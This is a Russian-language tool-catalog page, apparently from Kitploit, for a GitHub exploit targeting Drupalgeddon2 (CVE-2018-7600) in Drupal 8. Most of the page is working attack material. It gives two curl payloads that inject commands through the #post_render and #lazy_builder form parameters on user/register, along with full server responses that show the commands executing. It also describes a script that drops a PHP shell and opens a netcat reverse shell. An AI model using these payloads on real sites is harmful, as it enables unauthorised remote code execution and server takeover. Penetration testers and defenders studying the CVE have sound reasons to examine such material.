Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Drupalgeddon2 — CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE | Kitploit
Инструменты/GitHubGitHub/ruthvikvegunta/drupalgeddon2
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияШелл-кодЭксплуатация веб-приложенийТестирование на Проникновение
GitHubruthvikvegunta/drupalgeddon2

Drupalgeddon2

CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE

Репозиторий
426 лет назадЕщё не проверено
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Вдохновлено https://github.com/dreadlocked/Drupalgeddon2


Поддерживает:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ URL user/register, атака на account/mail и параметр #post_render с использованием PHP-функции passthru
  • [В ожидании] [Ещё не реализовано] Drupal < 7.58 ~ URL user/password, атака на форму triggering_element_name и параметр с использованием PHP-функции
#post_render
passthru
  • Загружает PHP-шелл в корень веб-сервера (./) и запускает netcat-слушатель; полезная нагрузка срабатывает в отдельном потоке, и пользователь получает reverse shell.
  • Поддержка целей на Linux
  • Автоматически определяет Drupal 7 или Drupal 8
  • PoC #1 - #post_render / account/mail / exec

    • Использует URL user/register, параметр #post_render, цель account/mail, с помощью PHP-функции exec.
    root@kitploit:~
      curl -k -i 'http://localhost/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
        --data 'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=uname -a'
    

    Сервер вернёт ответ 200 и отобразит JSON. Он способен выводить результат в ответе (например, как в случае с uname -a).

    Пример

    root@kitploit:~
    [g0tmi1k@attacker]$ curl -k -i 'http://localhost/drupal-8.4.5/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
      --data 'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=uname -a'
    HTTP/1.1 200 OK
    Date: Wed, 18 Apr 2018 15:56:29 GMT
    Server: Apache/2.4.7 (Ubuntu)
    X-Powered-By: PHP/5.5.9-1ubuntu4.24
    Cache-Control: must-revalidate, no-cache, private
    Content-language: en
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Expires: Sun, 19 Nov 1978 05:00:00 GMT
    X-Generator: Drupal 8 (https://www.drupal.org)
    X-Drupal-Ajax-Token: 1
    Content-Length: 280
    Content-Type: application/json
    
    [{"command":"insert","method":"replaceWith","selector":null,"data":"Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU\/Linux\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
    [g0tmi1k@attacker]$
    

    PoC #2 - #lazy_builder / timezone/timezone / exec

    • Использует URL user/register, параметр #lazy_builder, цель timezone/timezone, с помощью PHP-функции exec.
    root@kitploit:~
      curl -k -i 'http://localhost/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
        --data 'form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=touch+/tmp/2'
    

    Сервер вернёт ответ 500 и отобразит «The website encountered an unexpected error. Please try again later». Он НЕ способен выводить результат в ответе (слепой режим!).

    Пример

    root@kitploit:~
    [g0tmi1k@attacker]$ curl -k -i 'http://localhost/drupal-8.4.5/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
        --data 'form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=touch+/tmp/2'
    HTTP/1.0 500 500 Service unavailable (with message)
    Date: Wed, 18 Apr 2018 15:58:04 GMT
    Server: Apache/2.4.7 (Ubuntu)
    X-Powered-By: PHP/5.5.9-1ubuntu4.24
    Cache-Control: no-cache, private
    Content-Length: 74
    Connection: close
    Content-Type: text/html
    
    The website encountered an unexpected error. Please try again later.<br />
    [g0tmi1k@attacker]$
    
    
    root@ubuntu140045x64-drupal:~# stat /tmp/2
      File: '/tmp/2'
      Size: 0         	Blocks: 0          IO Block: 4096   regular empty file
    Device: fd01h/64769d	Inode: 59488       Links: 1
    Access: (0644/-rw-r--r--)  Uid: (   33/www-data)   Gid: (   33/www-data)
    Access: 2018-04-18 15:58:05.061898957 +0000
    Modify: 2018-04-18 15:58:05.061898957 +0000
    Change: 2018-04-18 15:58:05.061898957 +0000
     Birth: -
    root@ubuntu140045x64-drupal:~#
    

    Использование скрипта:

    Протестировано на Drupal 8, часть эксплойта для Drupal 7 ещё не реализована

    python3 drupalgeddon2.py -t http://xxx.xxx.xxx.xxx -l xxx.xxx.xxx.xxx -p xxxx

    Скачать инструмент